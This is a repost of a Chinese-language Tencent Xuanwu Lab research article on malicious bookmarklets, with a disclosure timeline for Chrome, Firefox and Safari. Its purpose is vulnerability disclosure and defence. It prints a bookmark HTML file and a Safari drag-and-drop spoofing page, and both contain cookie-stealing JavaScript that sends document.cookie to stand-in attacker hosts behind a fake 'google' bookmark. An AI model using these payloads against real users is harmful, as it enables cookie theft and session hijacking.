31

BadBookmarklet – 腾讯玄武实验室

 6 years ago
source link: http://xlab.tencent.com/cn/2017/01/18/badbookmarklet/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Bookmarklet,中文名可以翻译成小书签,它的存在形式和书签一样,都被保存在浏览器的收藏夹中。但它不是一个 HTTP、FTP、File 开头的 URL,而是一段 javascript: 开头的 javascript 代码。1995 年 Javascript 的作者 Brendan Eich 特意设计 javascript: URLs 和普通URL一样用于收藏夹,时至今日小书签已经于浏览器中存在了 20多年。

在这些年中浏览器以及WEB 上的攻防对抗风云幻变,也使小书签上的安全风险渐渐大于它的业务实用性。从攻击的角度来看,日渐复杂的应用场景、多样化的攻击手段层出不穷,使小书签可以执行任意 javascript 代码的这个特性演变成一了种攻击手段。而在防御层面,CSP 的出现与普及,也似乎预示着小书签的历史使命走到了尽头。

本文从在现代浏览器中导入和拖放小书签,来介绍小书签是如何变成一种致命攻击手段的。

1. 小书签的历史

“这是一个特意设计的特性:我在1995年发明 JavaScript 的时候发明了 javascript: 这类 URL,并打算使得 javascript: URLs 用法和其他URL一样,包括收录入收藏夹。 我特地把”JavaScript:” URL设计得可以在运行时产生一个新文档,例如 javascript:’hello, world’ ,同时也可以在当前文档的 DOM 下运行任意脚本(这点对小书签尤其有用),就像这样: javascript:alert(document.links[0].href) 。 这两者的区别就是,后者的URL在JS解析下值为 undefined。我在 Netscape 2 投入市场前加入了 void 操作符来清除任何非 undefined 的 javascript: URL 的值。”

——Brendan Eich,寄给 Simon Willison 的邮件

以上是 JavaScript 的发明人 Brendan Eich 说明小书签来历的一段话,引自于维基百科 http://zh.wikipedia.org/zh-cn/小书签

这20多年来浏览器小书签也一直遵循着当年 Brendan Eich 对它的定义。

2. 小书签的正常功能

我们知道浏览器使用隶属于<a> 标签的href的URI标签来存储书签。浏览器用 URI 前缀,例如 http:, file:,或是 ftp: 来确定协议以及请求剩余字符串的格式。

浏览器也能像执行其它前缀一样执行 javascript:。在内部处理时,当浏览器检查到协议为JavaScript,就将后面的字符串作为 JavaScript 脚本来执行,并用执行结果产生一个新页面。

例如这段小书签,可以直接让用户进行 base64 编码的转换:

javascript:(function(){x=prompt('Text:','');l=x.length%3;if(l)for(i=1;i<7-l;i++)x=x+'%20';;prompt('Output:',window.btoa(x));})();

而下面这段小书签则会在用户的当前域弹出 cookie:

Javascript:alert(document.cookie)

3. 小书签上的安全风险

小书签中可以写入任意 Javascript 代码,这使得写入恶意代码也成为可能。如果小书签中是一段可以获取用户 cookie 并发送给攻击者的代码,那么当用户点击这段小书签后,当前域的 cookie 信息就会被攻击者获取到。这个时候,小书签即变成了 UXSS 的孵化器。如果设备之间浏览器开启 SYNC,那么这段恶意小书签也会同步到其他设备上去,使危害增大。

看起来以上的分析是可行的,但如何让小书签变得有攻击性呢,因为用户不会主动去写一个恶意的小书签,然后自己去点击。而就算用户自己在小书签里自娱自乐的 Self-XSS 的弹个 alert(1),又有何不可?

如果我们能找到一个场景,可以让用户无意在浏览器中注入恶意的小书签。基于此想法,来看下面这个场景:

  1. 用户在保存书签的时候,就认为书签是正确的。
  2. 在点击书签后也会导航到正确的网站。

如果上面2点能顺利完成,且整个过程从表面来看没有任何差错和异常,那么用户对这个小书签基本上就不会去怀疑。在下文我们测试的过程中,当用户点击了这个书签,用户的信息即被攻击者获取到了!

4. 导入和拖放恶意小书签

在现代浏览器中,增加了多种添加书签的方法。这其中包括直接导入 HTML 格式的书签文件和直接拖放链接保存为书签。这两种保存书签方式使得小书签上的攻击成为可能!

4.1 导入恶意小书签

在现代浏览器中,都有了书签导入导出的功能。我们可以把书签导出为 HTML 文件,并能随时把 HTML 的书签导入到浏览器中。另外,不同浏览器之间也可以互相导入。

例如导入如下书签文件,你可以把它保存为 bookmark.html,然后导入到浏览器中:

<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1>Bookmarks</H1>
<DT><H3>xss Bookmarks</H3>
<DL><p>
<DT>
<DT><H3>xss_test</H3>
<DL><p>
</DL><p>
<DT><A HREF="javascript:document.write('hack by xisigr');">xss0</A>
<DT><A HREF="Javascript:alert(document.cookie);">xss1</A>
<DT><A HREF="javascript: var b=document.createElement('script');b.src='http:// attackip /get.php?cookie='+escape(document.cookie);document.body.appendChild(b);setTimeout(%22location='http://www.google.com'%22,1000);">google</A>
</DL><p>
</DL>

在我们测试过程中,Chrome/Firefox/Safari/Opera 这四款浏览器可以直接导入 bookmark.html 小书签,导入的过程中没有任何提示。IE无法导入这样的小书签,导入时会提示错误而中断。

小书签的自身特性,决定了上面的这三个小书签,在用户点击的时候,可以直接在当前 DOM 下渲染执行。如果当前域是 gmail.com,那么就等同于是在 gmail.com 域中插入了一段 Javascript 脚本,并运行它。

于是,我们有了如下的攻击场景:

  1. 攻击者在网上共享了一个书签文件 bookmarks.html(注入了恶意代码)
  2. 用户看到书签不错,下载下来.
  3. 用户把书签 bookmakes.html 文件导入到浏览器中。
  4. 在已经打开任何域的情况下,打开书签,书签中的恶意 javascript 代码就会注入到当前域下。一个 UXSS 攻击就发生了。

4.2 拖放恶意小书签

除了导入书签文件外,还可以使用拖放的方式来保存书签。

我在Safari浏览器中找到一个真实的小书签攻击案例。整个场景将在 MAC+IPad 环境下进行,为了体现攻击效果,我们在攻击场景中加入了设备之间的 SYNC,在这个攻击过程中,利用了一个 Safari 浏览器的拖放书签欺骗漏洞,来欺骗用户把恶意的小书签保存到收藏夹中,这个小书签保存后名称会显示 google.com,点击后也会到达 google.com,整个攻击过程非常隐蔽,很容易欺骗到用户。假设用户已经在 MAC、IPad 中打开了 Amazon 和 Gmail。那么当用户点击 google.com这个书签导航到 google.com 后,Amazon 和 Gmail 的 cookie 就被攻击者获取到了。

这个攻击场景如下图:

bookmarklet-1-small.png
  1. 用户拖放链接保存为书签。
  2. 设备开启同步后,书签也会保存到其他设备上。
  3. 当用户点击书签后,当前域的 cookie 会发送给攻击者。

第一步很关键,用户拖放链接保存为书签。这里会用到一个 Safari 浏览器拖放书签的欺骗攻击。先简单说下这个欺骗漏洞的原理,把如下代码保存为 attack.html。

<div draggable="true" ondragstart="event.dataTransfer.setData('text',  'http://baidu.com/#/google');"><a  href=http://www.google.com>google.com</a></div>

用 Safari 打开后,链接会显示 google.com,用户点击后会指向 google.com。但用户拖放这个链接保存为书签时,拖放的内容会被替换为 http://baidu.com/#/google ,而保存到收藏夹后,由于 Safari 收藏夹的设计特点,会取 URL 中最后“/”后面的字符作为书签的名字,所以书签的名字将是 google。那么在整个保存为书签的过程中,用户看到的始终是 google,所以不会对此次拖放保存书签有怀疑。当用户点击书签链接时,由于链接中加入了 #,所以 URL 会忽略掉#后面的内容,直接转向到了 baidu.com。这可以看做是一次重定向攻击。

了解完书签拖放欺骗的原理后,我们就来看一个真正的攻击,这次拖放替换的内容不是一个 URL,而是一个 javascript: 开头的小书签。可以直接在当前域下注入任意 javascript 代码。一个 UXSS 产生了。

将如下代码保存为 attack.html 代码:

<div draggable="true" ondragstart="event.dataTransfer.setData('text',  'javascript:%76%61%72%20%62%3D%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%62%2E%73%72%63%3D%27%68%74%74%70%3A%2F%2F%78%69%73%69%67%72%2E%63%6F%6D%2F%32%30%31%35%74%65%73%74%2F%67%65%74%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%27%2B%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3B%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%62%29%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D%27%22%2C%31%30%30%30%29%3B/#/google');"><a href=http://www.google.com>google.com</a></div>

编码部分的代码为:

var b=document.createElement('script');b.src='http://attacker/2015test/get.php?cookie='+escape(document.cookie);document.body.appendChild(b);setTimeout("location='http://www.google.com'",1000);

演示视频:

# 5. CSP的出现使小书签消亡 自从内容安全策略(Content Security Policy,简称 CSP)开始被提出,这些年逐渐被各大浏览器厂商支持和认可,也预示着小书签的历史使命走到了尽头。

大家知道 CSP 是为了防止 XSS 而设计,默认配置下不允许执行内联代码(<script> 块内容,内联事件,内联样式),以及禁止执行 eval() , newFunction() , setTimeout([string], …) 和 setInterval([string], …)。

内联 Javascript 不能运行,不能加载外部资源,这些限制都使得小书签将不能正常工作。就此问题,Firefox 的 bugzilla 社区中曾有过白热化的讨论, https://bugzilla.mozilla.org/show_bug.cgi?id=866522 ,其中有一个对书签狂热的使用者说道:

【作为一个“超级用户”,我非常依赖我的书签工具和 Greasemonkey 的用户脚本来执行各种功能和特性,在各种网站(加入了 CSP 防御),书签中的脚本无法使用,现在这个的问题,非常恼人,困然了我好几个月。安全性显然是重要的,但是,作为最终用户,我应该永远有控制和浏览体验的绝对权力,并且几乎能够做我想做的。】

而另一篇文章,则直接写到Bookmarklets are Dead…
https://medium.com/making-instapaper/bookmarklets-are-dead-d470d4bbb626

在我们写这篇文章时,Firefox/Edge 浏览器中,小书签作为内联JS是不可以运行的,Chrome/Safari 浏览器中则是可以的。这是不是也可以认为小书签绕过了 CSP 呢?

其实对于Javascript:URLs 这样的用法,浏览器厂商也已经开始意识到它在特殊场景下所带来的安全风险。比如在之前的浏览器中,用户可以直接粘贴 Javascript:URLs 到地址栏并运行,但现在 Chrome /Firefox/Edge 浏览器会直接把 Javascript: 这个协议关键字去掉。

但对于小书签中可以直接执行 Javascript:URLs ,浏览器厂商始终保持一个较为保守的态度,毕竟小书签已经伴随浏览器 20 多年。对此,我们对小书签的使用,提出几点安全建议,可以暂时缓解小书签带来的安全风险:

浏览器厂商方面:对小书签的内容和权限进行颗粒度更细的控制。比如从文件或其他浏览器导入小书签时,严格过滤小书签内容,对可疑小书签弹出风险提示。

安全厂商方面:可以推出检测小书签的浏览器插件等。对恶意小书签,弹出预警提示。

用户方面:不要随意导入第三方小书签,明确导入的小书签功能是什么。

7. 厂商回复

Chrome
2015/04/13:向 Chrome 报告浏览器小书签安全问题
2015/04/13:Chrome 答复小书签上面的安全问题,他们在内部也讨论了很多次,目前来看小书签的实用性大于它带来的安全风险。
截至发稿时,并没有修复小书签可能涉及的安全风险。

Firefox
2015/04/13:向 Firefox 报告浏览器小书签安全问题
2015/04/14:Firefox 回复他们认为导入书签时,应该有个风险提示。还认为恶意书签的钓鱼、重定向攻击也是很严重。
截至发稿时,并没有修复小书签可能涉及的安全风险。

Safari
2015/04/13:向 Apple 报告 Safari 浏览器小书签安全问题
2015/04/21:向 Apple 报告 Safari 浏览器书签拖放欺骗
2015/12/02:向 Apple 提供详细漏洞视频
2015/12/25:询问 Apple 处理漏洞进度
2016/01/27:Apple 回复正在调查中
截至发稿时,没有任何回复,并没有修复小书签可能涉及的安全风险。

8. 参考:

[1] http://zh.wikipedia.org/zh-cn/小书签

[2] https://bugzilla.mozilla.org/show_bug.cgi?id=866522

[3] https://medium.com/making-instapaper/bookmarklets-are-dead-d470d4bbb626


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK